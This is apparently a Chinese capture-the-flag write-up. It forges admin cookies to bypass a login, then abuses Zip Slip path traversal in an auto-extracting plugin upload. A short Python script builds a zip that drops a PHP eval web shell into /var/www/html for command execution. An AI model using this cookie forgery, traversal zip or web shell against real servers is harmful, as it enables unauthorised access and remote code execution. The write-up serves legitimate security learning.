登录接口对用户输入的用户名与密码进行了校验

校验通过则返回cookie visited=yes, user=admin

但是相关信息没有在服务端存储

所以只需要将在请求相关接口的时候手动把cookie加上

就可以访问面板

image-20260326195843570

在上传插件的接口有上传插件功能

只可以上传zip,且zip上传成功后会自动解压

这时候想到了之前看过的zipslip漏洞

所以就通过这个方法上传木马到 /var/www/html /

image-20260326195906897

zip制作脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import zipfile

if __name__ == "__main__":
try:
binary1 = b'vulhub'
binary2 = b"<?php eval($_REQUEST['a']);?>"
zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
# info = zipfile.ZipInfo("test.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../var/www/html/1.php", binary2)
zipFile.close()
except IOError as e:
raise e

然后就可以通过/about路由进行命令执行

image-20260326200022652

image-20260326200034664

这个题目的flag藏在了/tmp目录下。当时找了好久,甚至还怀疑题目有问题去找裁判了。。。。。